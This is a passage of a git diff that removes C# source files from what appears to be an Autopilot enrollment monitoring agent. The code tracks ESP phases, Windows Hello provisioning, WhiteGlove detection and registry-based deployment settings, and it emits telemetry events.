script.ScriptPart; - - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = eventType, - Severity = severity, - Source = Constants.EventSources.IME, - Phase = EnrollmentPhase.Unknown, - Message = message, - Data = data - }); - - _logger.Info($"EnrollmentTracker: {message}"); - } - - private void HandleImeSessionChange(string changeType) - { - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "ime_session_change", - Severity = EventSeverity.Debug, - Source = "ImeLogTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"IME session change: {changeType}", - Data = new Dictionary { { "changeType", changeType ?? "" } } - }); - } - - private void HandleUserSessionCompleted() - { - _logger.Info("EnrollmentTracker: User session completed (detected from IME log)"); - _stateData.ImePatternSeenUtc = DateTime.UtcNow; - RecordSignal("ime_pattern"); - - // Emit timeline event so admins can see exactly when IME finished its user part - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "ime_user_session_completed", - Severity = EventSeverity.Info, - Source = "ImeLogTracker", - Phase = EnrollmentPhase.Unknown, - Message = "IME user session completed", - Data = new Dictionary { { "detectedAt", DateTime.UtcNow.ToString("o") } } - }); - - // User session completed successfully — cancel any pending ESP failure - CancelPendingEspFailure(); - - // Stop timers if running - _summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _summaryTimerActive = false; - _debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debugStateTimerActive = false; - - // Device-only deployment (Self-Deploying or SkipUserStatusPage=true): skip Hello wait - // entirely — no interactive user session means Hello provisioning cannot complete. - bool isDeviceOnlySnap; - int? autopilotModeSnap; - bool? skipUserSnap; - lock (_stateLock) - { - isDeviceOnlySnap = IsDeviceOnlyDeployment; - autopilotModeSnap = _autopilotMode; - skipUserSnap = _skipUserStatusPage; - } - - if (isDeviceOnlySnap) - { - _logger.Info($"EnrollmentTracker: Device-only deployment (autopilotMode={autopilotModeSnap}, skipUserStatusPage={skipUserSnap}) — skipping Hello wait, proceeding to completion"); - TryEmitEnrollmentComplete("ime_pattern"); - ShadowProcessTrigger("ime_user_session_completed"); - return; - } - - // Check if Windows Hello is configured but not yet completed - if (_espAndHelloTracker != null) - { - bool helloPolicyConfigured = _espAndHelloTracker.IsPolicyConfigured; - bool helloCompleted = _espAndHelloTracker.IsHelloCompleted; - - if (helloPolicyConfigured && !helloCompleted) - { - // Hello is configured but not finished yet - DO NOT mark enrollment as complete - _logger.Info("EnrollmentTracker: Windows Hello policy is configured but provisioning has not completed yet."); - _logger.Info("EnrollmentTracker: Waiting for Hello provisioning to finish before marking enrollment as complete."); - - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "waiting_for_hello", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.FinalizingSetup, - Message = "User apps completed - waiting for Windows Hello provisioning to finish", - ImmediateUpload = true - }); - - // Set flag so we know we're waiting - lock (_stateLock) - { - _isWaitingForHello = true; - _stateData.IsWaitingForHello = true; - _stateData.WaitingForHelloStartedUtc = DateTime.UtcNow; - _stateDirty = true; - } - _statePersistence.Save(_stateData); // Immediate persist — summary timer was just stopped - - // Defense-in-depth: Ensure Hello wait timer is running. - // StartHelloWaitTimer() has internal guards (returns if timer already running, - // if Hello already completed, or if wizard already started). Safe to call multiple times. - _espAndHelloTracker?.StartHelloWaitTimer(); - - // Safety net: if Hello never resolves (timer chain fails, agent crash without restart), - // force enrollment_complete after 7 minutes instead of waiting for the 6h max lifetime timer. - _waitingForHelloSafetyTimer?.Dispose(); - _waitingForHelloSafetyTimer = new Timer( - OnWaitingForHelloSafetyTimeout, - null, - TimeSpan.FromSeconds(WaitingForHelloSafetyTimeoutSeconds), - TimeSpan.FromMilliseconds(-1)); - - ShadowProcessTrigger("ime_user_session_completed"); - return; - } - } - - // ESP provisioning settle check: if ESP categories are still resolving in the registry, - // wait up to 30s for Windows to finalize the outcomes before completing. - // This catches cases where the agent started late and the ESP status hasn't settled yet. - if (_espAndHelloTracker != null) - { - var snapshot = _espAndHelloTracker.GetProvisioningSnapshot(); - if (snapshot != null && snapshot.CategoriesSeen > 0 && !snapshot.AllResolved) - { - var unresolvedCategories = snapshot.CategoryOutcomes - .Where(kvp => kvp.Value == "in_progress") - .Select(kvp => kvp.Key) - .ToList(); - - _logger.Info($"EnrollmentTracker: ESP provisioning categories not yet resolved " + - $"({string.Join(", ", unresolvedCategories)}) — waiting up to {EspSettleTimeoutSeconds}s for settlement"); - - EmitImeTrackerEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "esp_provisioning_settle_started", - Severity = EventSeverity.Info, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"ESP provisioning settle wait started — {unresolvedCategories.Count} category(ies) unresolved: {string.Join(", ", unresolvedCategories)}", - Data = new Dictionary - { - { "unresolvedCategories", unresolvedCategories }, - { "settleTimeoutSeconds", EspSettleTimeoutSeconds }, - { "categoriesSeen", snapshot.CategoriesSeen }, - { "categoriesResolved", snapshot.CategoriesResolved } - }, - ImmediateUpload = true - }); - - lock (_stateLock) - { - _isWaitingForEspSettle = true; - _stateData.IsWaitingForEspSettle = true; - _stateData.WaitingForEspSettleStartedUtc = DateTime.UtcNow; - _stateDirty = true; - } - _statePersistence.Save(_stateData); - - _waitingForEspSettleTimer?.Dispose(); - _waitingForEspSettleTimer = new Timer( - OnEspSettleTimerExpired, - null, - TimeSpan.FromSeconds(EspSettleTimeoutSeconds), - TimeSpan.FromMilliseconds(-1)); - - ShadowProcessTrigger("ime_user_session_completed"); - return; - } - } - - TryEmitEnrollmentComplete("ime_pattern"); - - // Shadow state machine: track IME user session completed - ShadowProcessTrigger("ime_user_session_completed"); - } - - /// - /// Checks whether a real user profile exists in C:\Users\ (beyond system accounts). - /// Used to verify AccountSetup phase: during WhiteGlove pre-provisioning only defaultuser0 - /// exists; in user-driven enrollment the signed-in user's profile is already created. - /// - private bool HasRealUserProfile() - { - try - { - var usersDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); - // Navigate to the Users root (parent of the current profile) - usersDir = Path.GetDirectoryName(usersDir); // e.g. C:\Users - if (string.IsNullOrEmpty(usersDir) || !Directory.Exists(usersDir)) - usersDir = @"C:\Users"; - - var excludedNames = new HashSet(StringComparer.OrdinalIgnoreCase) - { - "defaultuser0", "defaultuser1", "Default", "Default User", - "Public", "All Users", "Administrator", "Guest" - }; - - foreach (var dir in Directory.GetDirectories(usersDir)) - { - var name = Path.GetFileName(dir); - if (excludedNames.Contains(name)) - continue; - if (name.StartsWith("DefaultUser", StringComparison.OrdinalIgnoreCase)) - continue; - - _logger.Debug($"EnrollmentTracker: HasRealUserProfile found '{name}'"); - return true; - } - - return false; - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: HasRealUserProfile check failed: {ex.Message}"); - return false; // Fail safe: treat as no real user (suppress AccountSetup) - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.cs deleted file mode 100644 index b21efe82..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Enrollment/EnrollmentTracker.cs +++ /dev/null @@ -1,814 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Threading; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Microsoft.Win32; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment -{ - /// - /// Central enrollment tracking orchestrator. - /// Collects consolidated device info events at startup and manages ImeLogTracker - /// for smart app installation tracking with strategic event emission. - /// - public partial class EnrollmentTracker : IDisposable - { - private readonly string _sessionId; - private readonly string _tenantId; - private readonly Action _emitEvent; - private readonly AgentLogger _logger; - private readonly string _imeLogFolder; - private readonly List _imeLogPatterns; - private readonly SystemSignals.EspAndHelloTracker _espAndHelloTracker; - - private ImeLogTracker _imeLogTracker; - private Timer _summaryTimer; - private bool _summaryTimerActive; - private Timer _debugStateTimer; - private bool _debugStateTimerActive; - - // ===== Thread-safety ===== - // All mutable state fields below are accessed from multiple threads: - // - Timer callbacks (SummaryTimer, DebugStateTimer, safety timers) → ThreadPool - // - ImeLogTracker event handlers (HandleEspPhaseChanged, HandleAppStateChanged, etc.) → FileSystemWatcher thread - // - EspAndHelloTracker event handlers (OnHelloCompleted, OnFinalizingSetupPhaseTriggered, etc.) → COM thread - // - MonitoringService (NotifyDesktopArrived) → desktop detection thread - // - Task.Run (CollectDeviceInfo) → ThreadPool - // - // A single lock protects all shared fields. Lock sections contain ONLY field reads/writes — - // never _emitEvent, _logger, timer operations, or external callbacks. This ensures: - // - No deadlocks (no nested locking, no I/O under lock) - // - Minimal contention (microsecond-level critical sections) - // - Consistent multi-field reads (e.g., TryEmitEnrollmentComplete guard checks) - private readonly object _stateLock = new object(); - - private string _lastEspPhase; // Track last ESP phase to prevent duplicate events - private bool _hasAutoSwitchedToAppsPhase; // Track if we've already auto-switched to apps phase for current ESP phase - private string _enrollmentType = "v1"; // "v1" = Autopilot Classic/ESP, "v2" = Windows Device Preparation - private IEnrollmentFlowHandler _flowHandler = EnrollmentFlowFactory.FromWireFormat("v1"); // Kept in sync with _enrollmentType via SetEnrollmentType() - private bool _isWaitingForHello = false; // Track if we're waiting for Hello to complete before sending enrollment_complete - private readonly bool _isBootstrapMode; // Agent started via bootstrap token (pre-MDM) - private bool _sendTraceEvents = true; // Send Trace-severity events to backend for decision auditing - - // TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary - private string _lastShadowDiscrepancySignature; - private bool _enrollmentStartDeviceInfoCollected = false; // Re-collect enrollment-dependent info once at first ESP phase - private bool _finalDeviceInfoCollected = false; // Ensure final device info is emitted only once - private string _lastEmittedSummaryHash; // Track last emitted state-breakdown to avoid redundant summary events - private string _lastEmittedSummaryCompactHash; // Track completed+error counts only — changes here elevate severity to Info - - // ESP failure handling (Phase 1) - private Timer _espFailureTimer; - private string _pendingEspFailureType; - private const int EspFailureGracePeriodSeconds = 60; - private static readonly HashSet RecoverableEspFailureTypes = new HashSet(StringComparer.OrdinalIgnoreCase) - { - "ESPProgress_Timeout" - }; - - // Unified completion logic (Phase 3A) - private bool _espEverSeen; - private bool _espFinalExitSeen; - private bool _enrollmentCompleteEmitted; - private bool _desktopArrived; - private bool _isHybridJoin; - private readonly DateTime _agentStartTimeUtc = DateTime.UtcNow; - - // Device info readiness — guards against race where completion signals arrive before CollectDeviceInfo finishes - private volatile bool _deviceInfoCollected; - private string _pendingCompletionSource; - - // Device-Only ESP detection (Phase 3C) - private Timer _deviceOnlyEspTimer; - private const int DeviceOnlyEspTimerMinutes = 5; - - // ESP configuration from registry (FirstSync\SkipUserStatusPage / SkipDeviceStatusPage) - // null = unknown (registry keys not present), true = skip, false = show - private bool? _skipUserStatusPage; - private bool? _skipDeviceStatusPage; - - // Autopilot deployment mode: 0=UserDriven, 1/2/3+=not yet confirmed mapping, null=unknown - private int? _autopilotMode; - private bool IsSelfDeploying => _autopilotMode == 1; - - // True when AAD join status shows a joined device with a real user email. - // Detected via CollectAadJoinStatus() in DeviceInfoCollector. - private bool _aadJoinedWithUser; - // Soft indicator: AAD userEmail matches a transient provisioning placeholder pattern - // (foouser@, autopilot@). These accounts appear during Autopilot pre-provisioning - // (WhiteGlove) and MUST NOT be treated as a real AAD-joined user. - private bool _fooUserDetected; - - // Set to true the moment the Shell-Core Event-62407 "WhiteGlove_Success" handler fires. - // Distinct from (which is the - // fire-once guard inside CompleteWhiteGlove and covers any completion path). Feeds - // the WhiteGloveClassifier as the strongest positive signal. - private bool _shellCoreWhiteGloveFired; - - // Signal-correlated WhiteGlove detection (Ebene 2.6): - // Feeds the bestehenden OnWhiteGloveCompleted() callback when the Shell-Core detector - // does not match but the session shows the WhiteGlove sealing pattern (all Device-apps done, - // DeviceSetup category succeeded, system reboot observed, AAD Not Joined, no AccountSetup - // progress, no desktop arrival). Requires ≥10 min stability to avoid false-positives. - private DateTime? _signalCorrelatedWhiteGloveStableSince; - private bool _signalCorrelatedWhiteGloveTriggered; - private bool _systemRebootObserved; - private const int SignalCorrelatedWhiteGloveStabilityMinutes = 10; - - /// - /// Called by MonitoringService when a system_reboot_detected event is emitted - /// (agent restart after an unclean exit / machine reboot). Used as an input signal - /// for the signal-correlated WhiteGlove detection heuristic. - /// - public void NotifySystemRebootDetected() - { - lock (_stateLock) - { - _systemRebootObserved = true; - } - } - - /// - /// Called after a successful RegisterSession. Compares the backend's authoritative - /// validator verdict against the agent's registry-based enrollment-type detection - /// and, on mismatch, emits an enrollment_type_mismatch warning event and - /// switches the active flow handler to the backend's verdict. - /// - /// and - /// are treated as type-neutral (no claim about Classic vs DevPrep) and do not trigger a switch. - /// - public void ReconcileWithBackendValidator(ValidatorType validatedBy) - { - EnrollmentType backendType = validatedBy switch - { - ValidatorType.AutopilotV1 => EnrollmentType.Classic, - ValidatorType.DeviceAssociation => EnrollmentType.DevicePreparation, - _ => EnrollmentType.Unknown - }; - - if (backendType == EnrollmentType.Unknown) - return; - - string currentWire; - lock (_stateLock) { currentWire = _enrollmentType; } - var currentType = EnrollmentTypeExtensions.FromWireFormat(currentWire); - - if (currentType == backendType) - { - _logger.Verbose($"EnrollmentTracker: backend validator '{validatedBy}' matches registry-detected enrollment type '{currentWire}'."); - return; - } - - var newWire = backendType.ToWireFormat(); - _logger.Warning($"EnrollmentTracker: enrollment type mismatch — registry='{currentWire}', backend='{newWire}' (validator={validatedBy}). Switching to backend verdict."); - - lock (_stateLock) - { - _enrollmentType = newWire; - _flowHandler = EnrollmentFlowFactory.Create(backendType); - _stateData.EnrollmentType = newWire; - _stateDirty = true; - } - - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "enrollment_type_mismatch", - Severity = EventSeverity.Warning, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Registry-detected enrollment type '{currentWire}' differs from backend validator verdict '{newWire}' ({validatedBy}). Using backend verdict.", - Data = new Dictionary - { - { "registryEnrollmentType", currentWire }, - { "backendEnrollmentType", newWire }, - { "backendValidator", validatedBy.ToString() } - } - }); - } - - // True when no interactive user session is expected. - // Self-Deploying (AutopilotMode=1) is always device-only. - // SkipUserStatusPage=true alone does NOT mean device-only — admins commonly skip - // the user ESP page in user-driven enrollments. Only classify as device-only when - // SkipUserStatusPage=true AND no user has AAD-joined (no aad_join_status with userEmail). - private bool IsDeviceOnlyDeployment => IsSelfDeploying || (_skipUserStatusPage == true && !_aadJoinedWithUser); - - /// - /// Creates a read-only snapshot of current state for the shadow state machine. - /// Must be called OUTSIDE _stateLock (takes its own lock internally). - /// - private CompletionContext SnapshotCompletionContext() - { - lock (_stateLock) - { - return new CompletionContext - { - EnrollmentType = _enrollmentType, - IsHybridJoin = _isHybridJoin, - AutopilotMode = _autopilotMode, - SkipUserStatusPage = _skipUserStatusPage, - AadJoinedWithUser = _aadJoinedWithUser, - EspEverSeen = _espEverSeen, - EspFinalExitSeen = _espFinalExitSeen, - DesktopArrived = _desktopArrived, - LastEspPhase = _lastEspPhase, - DeviceInfoCollected = _deviceInfoCollected, - HasHelloTracker = _espAndHelloTracker != null, - IsHelloCompleted = _espAndHelloTracker?.IsHelloCompleted ?? false, - IsHelloPolicyConfigured = _espAndHelloTracker?.IsPolicyConfigured ?? false, - HasUnresolvedEspCategories = false, // Will be set by caller when available - HasAccountSetupActivity = _espAndHelloTracker?.HasAccountSetupActivity ?? false, - WhiteGloveStartDetected = _espAndHelloTracker?.IsWhiteGloveStartDetected ?? false, - HasSaveWhiteGloveSuccessResult = _espAndHelloTracker?.HasSaveWhiteGloveSuccessResult ?? false, - ShellCoreWhiteGloveSuccess = _shellCoreWhiteGloveFired, - IsFooUserDetected = _fooUserDetected, - AgentStartTimeUtc = _agentStartTimeUtc, - EspFinalExitUtc = _stateData.EspFinalExitUtc, - ImePatternSeenUtc = _stateData.ImePatternSeenUtc - }; - } - } - - /// - /// Fires the shadow state machine trigger and compares the result with the actual state. - /// Logs discrepancies as warnings. Does NOT change actual behavior. - /// Also dual-writes the CompletionState to _stateData for persistence. - /// - private void ShadowProcessTrigger(string trigger, CompletionContext ctx = null) - { - try - { - ctx = ctx ?? SnapshotCompletionContext(); - var result = _completionSm.ProcessTrigger(trigger, ctx); - - // Dual-write: persist the explicit state alongside the boolean flags - lock (_stateLock) - { - _stateData.CompletionState = _completionSm.CurrentState.ToString(); - } - - // Compare terminal state: shadow SM reached terminal vs actual _enrollmentCompleteEmitted. - // Both sides must use the same definition of "terminal": the actual flag is set for - // enrollment_complete, enrollment_failed AND the WG-redirect path — so shadow must match - // that by accepting Completed, Failed and WhiteGloveCompleted as terminal states. - bool actualTerminal; - lock (_stateLock) { actualTerminal = _enrollmentCompleteEmitted; } - bool shadowTerminal = _completionSm.CurrentState.IsTerminal(); - - if (actualTerminal != shadowTerminal) - { - _logger.Warning($"EnrollmentTracker [SHADOW DISCREPANCY]: trigger='{trigger}', " + - $"shadowState={_completionSm.CurrentState}, actualEmitted={actualTerminal}, " + - $"shadowCompleted={shadowTerminal}"); - - // TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary - // Emit a backend event (throttled to 1x per unique signature per session) so we can query - // mismatches without relying on client-side logs. Severity=Warning so it ships independent of SendTraceEvents. - EmitShadowDiscrepancyEvent(trigger, ctx, actualTerminal, shadowTerminal); - } - else if (result.Transitioned) - { - _logger.Verbose($"EnrollmentTracker [SHADOW]: trigger='{trigger}', " + - $"{result.PreviousState} -> {result.NewState}"); - } - } - catch (Exception ex) - { - // Shadow mode must never crash the agent - _logger.Debug($"EnrollmentTracker [SHADOW ERROR]: trigger='{trigger}', error={ex.Message}"); - } - } - - // Safety-net timer for waiting_for_hello state - private Timer _waitingForHelloSafetyTimer; - private const int WaitingForHelloSafetyTimeoutSeconds = 420; // 7 min — longer than Hello chain (330s) - - // ESP provisioning settle wait: when IME pattern fires but ESP categories are still unresolved, - // wait up to 30s for Windows to finalize the ESP provisioning status in the registry. - private bool _isWaitingForEspSettle = false; - private Timer _waitingForEspSettleTimer; - private const int EspSettleTimeoutSeconds = 30; - - // Safety-net timer for device-only ESP completion (SkipUserStatusPage=true) - private Timer _deviceOnlyCompletionSafetyTimer; - private const int DeviceOnlyCompletionSafetyTimeoutSeconds = 420; // 7 min — same as Hello safety - - // State persistence for crash recovery - private readonly EnrollmentStatePersistence _statePersistence; - private EnrollmentStateData _stateData = new EnrollmentStateData(); - private bool _stateDirty; - - // Completion check throttling (max 1x/min per source) - private readonly Dictionary _lastCompletionCheckBySource = new Dictionary(); - - // Shadow state machine: runs in parallel with existing logic for behavioral verification. - // Logs discrepancies but does NOT affect actual enrollment completion. - private readonly CompletionStateMachine _completionSm = new CompletionStateMachine(); - - // Default IME log folder - private const string DefaultImeLogFolder = @"%ProgramData%\Microsoft\IntuneManagementExtension\Logs"; - - private Telemetry.DeviceInfo.DeviceInfoCollector _deviceInfoCollector; - - // ConfigMgr (SCCM) co-management detection — fire-once guard - private bool _configMgrDetected; - - /// - /// Detects whether the Autopilot profile indicates Hybrid Azure AD Join - /// by reading CloudAssignedDomainJoinMethod from the AutopilotPolicyCache registry key. - /// Safe to call before EnrollmentTracker is instantiated. - /// Returns true if CloudAssignedDomainJoinMethod == 1. - /// - public static bool DetectHybridJoinStatic() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotPolicyCache")) - { - if (key != null) - { - var domainJoinMethod = key.GetValue("CloudAssignedDomainJoinMethod")?.ToString(); - return domainJoinMethod == "1"; - } - } - } - catch { } - - return false; - } - - /// - /// Detects whether this is an Autopilot v1 (Classic ESP) or v2 (Windows Device Preparation) enrollment - /// by reading the Autopilot registry keys. Safe to call before EnrollmentTracker is instantiated. - /// Returns "v2" if WDP indicators are present, "v1" otherwise. - /// - public static string DetectEnrollmentTypeStatic() - { - try - { - using (var key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Provisioning\AutopilotSettings")) - { - if (key != null) - { - // CloudAssignedDeviceRegistration=2 signals WDP provisioning flow - var deviceReg = key.GetValue("CloudAssignedDeviceRegistration")?.ToString(); - if (deviceReg == "2") - return "v2"; - - // CloudAssignedEspEnabled=0 means no ESP, characteristic of WDP - var espEnabled = key.GetValue("CloudAssignedEspEnabled")?.ToString(); - if (espEnabled == "0") - return "v2"; - } - } - } - catch { } - - return "v1"; - } - - public EnrollmentTracker( - string sessionId, - string tenantId, - Action emitEvent, - AgentLogger logger, - List imeLogPatterns, - string imeLogFolderOverride = null, - bool simulationMode = false, - double speedFactor = 50, - string imeMatchLogPath = null, - SystemSignals.EspAndHelloTracker espAndHelloTracker = null, - bool isBootstrapMode = false, - bool sendTraceEvents = true) - { - _isBootstrapMode = isBootstrapMode; - _sendTraceEvents = sendTraceEvents; - _isHybridJoin = DetectHybridJoinStatic(); - _sessionId = sessionId; - _tenantId = tenantId; - _emitEvent = emitEvent; - _logger = logger; - _imeLogPatterns = imeLogPatterns ?? new List(); - _imeLogFolder = imeLogFolderOverride ?? DefaultImeLogFolder; - _espAndHelloTracker = espAndHelloTracker; - _deviceInfoCollector = new Telemetry.DeviceInfo.DeviceInfoCollector(sessionId, tenantId, emitEvent, logger); - - // State persistence for crash recovery - var stateDirectory = @"%ProgramData%\AutopilotMonitor\State"; - _statePersistence = new EnrollmentStatePersistence(stateDirectory, _logger); - - // Create ImeLogTracker with state persistence directory - _imeLogTracker = new ImeLogTracker(_imeLogFolder, _imeLogPatterns, _logger, matchLogPath: imeMatchLogPath, stateDirectory: stateDirectory); - _imeLogTracker.SimulationMode = simulationMode; - _imeLogTracker.SpeedFactor = speedFactor; - - // Wire up callbacks - _imeLogTracker.OnEspPhaseChanged = HandleEspPhaseChanged; - _imeLogTracker.OnImeAgentVersion = HandleImeAgentVersion; - _imeLogTracker.OnImeStarted = HandleImeStarted; - _imeLogTracker.OnAppStateChanged = HandleAppStateChanged; - _imeLogTracker.OnPoliciesDiscovered = HandlePoliciesDiscovered; - _imeLogTracker.OnAllAppsCompleted = HandleAllAppsCompleted; - _imeLogTracker.OnUserSessionCompleted = HandleUserSessionCompleted; - _imeLogTracker.OnImeSessionChange = HandleImeSessionChange; - _imeLogTracker.OnDoTelemetryReceived = HandleDoTelemetryReceived; - _imeLogTracker.OnScriptCompleted = HandleScriptCompleted; - - // Subscribe to EspAndHelloTracker completion event if available - if (_espAndHelloTracker != null) - { - _espAndHelloTracker.HelloCompleted += OnHelloCompleted; - _espAndHelloTracker.FinalizingSetupPhaseTriggered += OnFinalizingSetupPhaseTriggered; - _espAndHelloTracker.WhiteGloveCompleted += OnWhiteGloveCompleted; - _espAndHelloTracker.EspFailureDetected += OnEspFailureDetected; - _espAndHelloTracker.DeviceSetupProvisioningComplete += OnDeviceSetupProvisioningComplete; - - // Backfill recent ESP exit events that may have fired before we subscribed. - // The EspAndHelloTracker is started by CollectorCoordinator before the EnrollmentTracker - // is created, so esp_exiting events detected during that window are lost. Backfill recovers them. - _espAndHelloTracker.BackfillRecentEspExitEvents(); - } - } - - /// - /// Updates the SendTraceEvents setting from remote config at runtime. - /// - public void UpdateSendTraceEvents(bool value) => _sendTraceEvents = value; - - /// - /// Emits a Trace-severity event that captures an agent decision for backend-side troubleshooting. - /// Always logged locally; only sent to the backend when SendTraceEvents is enabled. - /// - private void EmitTraceEvent(string decision, string reason, Dictionary context = null) - { - var data = new Dictionary - { - { "decision", decision }, - { "reason", reason } - }; - if (context != null) - { - foreach (var kvp in context) - data[kvp.Key] = kvp.Value; - } - - _logger.Trace($"EnrollmentTracker: {decision} — {reason}"); - - if (_sendTraceEvents) - { - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = "agent_trace", - Severity = EventSeverity.Trace, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"{decision}: {reason}", - Data = data - }); - } - } - - // TEMPORARY: shadow SM rollout verification — remove when CompletionStateMachine is promoted to primary - /// - /// Emits a shadow_discrepancy event when the shadow CompletionStateMachine disagrees - /// with the actual _enrollmentCompleteEmitted flag. Throttled to one event per unique - /// {trigger|shadowState|actualEmitted} signature per session to avoid flooding the backend - /// while still surfacing every distinct divergence constellation. - /// - private void EmitShadowDiscrepancyEvent(string trigger, CompletionContext ctx, bool actualTerminal, bool shadowTerminal) - { - var shadowState = _completionSm.CurrentState.ToString(); - var signature = $"{trigger}|{shadowState}|{actualTerminal}"; - if (signature == _lastShadowDiscrepancySignature) - return; - _lastShadowDiscrepancySignature = signature; - - var data = new Dictionary - { - { "trigger", trigger ?? "(null)" }, - { "shadowState", shadowState }, - { "actualEmitted", actualTerminal }, - { "shadowCompleted", shadowTerminal }, - { "enrollmentType", ctx?.EnrollmentType }, - { "autopilotMode", ctx?.AutopilotMode }, - { "skipUserStatusPage", ctx?.SkipUserStatusPage }, - { "aadJoinedWithUser", ctx?.AadJoinedWithUser ?? false }, - { "isHybridJoin", ctx?.IsHybridJoin ?? false }, - { "isDeviceOnly", ctx?.IsDeviceOnly ?? false }, - { "espEverSeen", ctx?.EspEverSeen ?? false }, - { "espFinalExitSeen", ctx?.EspFinalExitSeen ?? false }, - { "desktopArrived", ctx?.DesktopArrived ?? false }, - { "lastEspPhase", ctx?.LastEspPhase }, - { "hasHelloTracker", ctx?.HasHelloTracker ?? false }, - { "isHelloCompleted", ctx?.IsHelloCompleted ?? false }, - { "isHelloPolicyConfigured", ctx?.IsHelloPolicyConfigured ?? false }, - { "hasUnresolvedEspCategories", ctx?.HasUnresolvedEspCategories ?? false } - }; - - try - { - _emitEvent(new EnrollmentEvent - { - SessionId = _sessionId, - TenantId = _tenantId, - EventType = Constants.EventTypes.ShadowDiscrepancy, - Severity = EventSeverity.Warning, - Source = "EnrollmentTracker", - Phase = EnrollmentPhase.Unknown, - Message = $"Shadow SM mismatch: trigger={trigger}, shadow={shadowState}, emitted={actualTerminal}", - Data = data - }); - } - catch (Exception ex) - { - // Diagnostic event must never crash the agent - _logger.Debug($"EnrollmentTracker [SHADOW EVENT ERROR]: {ex.Message}"); - } - } - - /// - /// Starts the enrollment tracker: collects device info and starts IME log tracking. - /// - public void Start() - { - _logger.Info("EnrollmentTracker: starting"); - - // Load persisted state for crash recovery - LoadState(); - - // Start IME log tracking immediately — this is the critical enrollment watcher. - // Device info collection (WMI + registry) runs in the background so it doesn't - // delay the ImeLogTracker from catching early enrollment events. - _imeLogTracker.Start(); - - // Collect and emit device info asynchronously (3 WMI queries + 5+ registry reads) - Task.Run(() => - { - try - { - CollectDeviceInfo(); - } - catch (Exception ex) - { - _logger.Warning($"EnrollmentTracker: background device info collection failed: {ex.Message}"); - } - }); - - // Check for ConfigMgr co-management client (separate task, must not delay device info) - Task.Run(() => - { - try { CheckConfigMgrClient("startup"); } - catch (Exception ex) { _logger.Debug($"EnrollmentTracker: startup ConfigMgr check failed: {ex.Message}"); } - }); - - // TODO: Überdenken ob ein 30s timer hier wirklich immer gut ist, hab einen Fall gesehen mit - // laaanger Wartephase in WhiteGlove weil ein 24H2 feature update reinkam und installiert wurde - - // Start periodic summary timer (30s, starts when app tracking begins) - _summaryTimer = new Timer(SummaryTimerCallback, null, Timeout.Infinite, Timeout.Infinite); - _debugStateTimer = new Timer(DebugStateTimerCallback, null, Timeout.Infinite, Timeout.Infinite); - - _logger.Info("EnrollmentTracker: started"); - } - - /// - /// Stops the enrollment tracker - /// - public void Stop() - { - _logger.Info("EnrollmentTracker: stopping"); - - _summaryTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _debugStateTimer?.Change(Timeout.Infinite, Timeout.Infinite); - _imeLogTracker?.Stop(); - - _logger.Info("EnrollmentTracker: stopped"); - } - - /// - /// Updates IME log patterns (hot-reload from config change) - /// - public void UpdatePatterns(List newPatterns) - { - if (newPatterns != null) - { - _logger.Info("EnrollmentTracker: updating IME log patterns (hot-reload)"); - _imeLogTracker?.CompilePatterns(newPatterns); - } - } - - /// - /// Access to the ImeLogTracker (for simulator to reference package states) - /// - public ImeLogTracker ImeTracker => _imeLogTracker; - - // ===== Device Info Collection ===== - - private void CollectDeviceInfo() - { - var result = _deviceInfoCollector.CollectAll(); - - bool wasDeviceOnly; - lock (_stateLock) - { - wasDeviceOnly = IsDeviceOnlyDeployment; - _enrollmentType = result.enrollmentType; - _flowHandler = EnrollmentFlowFactory.FromWireFormat(result.enrollmentType); - _skipUserStatusPage = result.skipUserStatusPage; - _skipDeviceStatusPage = result.skipDeviceStatusPage; - _autopilotMode = result.autopilotMode; - _aadJoinedWithUser = result.hasAadJoinedUser; - _fooUserDetected = result.isFooUserDetected; - _stateData.EnrollmentType = _enrollmentType; - _stateData.SkipUserStatusPage = _skipUserStatusPage; - _stateData.SkipDeviceStatusPage = _skipDeviceStatusPage; - _stateData.AutopilotMode = _autopilotMode; - _stateData.AadJoinedWithUser = _aadJoinedWithUser; - _stateData.FooUserDetected = _fooUserDetected; - 